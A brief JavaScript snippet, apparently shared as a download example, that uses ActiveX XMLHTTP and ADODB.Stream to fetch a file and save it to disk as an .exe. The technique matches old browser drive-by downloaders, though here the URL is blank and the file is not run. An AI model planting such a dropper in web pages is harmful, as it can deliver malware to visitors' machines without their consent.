javascript|xml|下载<script language='javascript'>
var xh;
function getXML(geturl)
{
alert("ll");
xh = new ActiveXObject("Microsoft.XMLHTTP");
xh.onreadystatechange = getReady;
xh.open("GET",geturl,true);
xh.send();
}
function getReady()
{
alert(xh.readyState);
if(xh.readyState==4)
{
if(xh.status==200)
{saveFile("d:\mm.exe");return true;}
else
{return false;}
}
else
return false;
}
function saveFile(tofile)
{
var objStream;
var imgs;
imgs = xh.responseBody;
objStream = new ActiveXObject("ADODB.Stream");
objStream.Type = 1;
objStream.open();
objStream.write(imgs);
objStream.SaveToFile(tofile)
}
getXML("");
</script>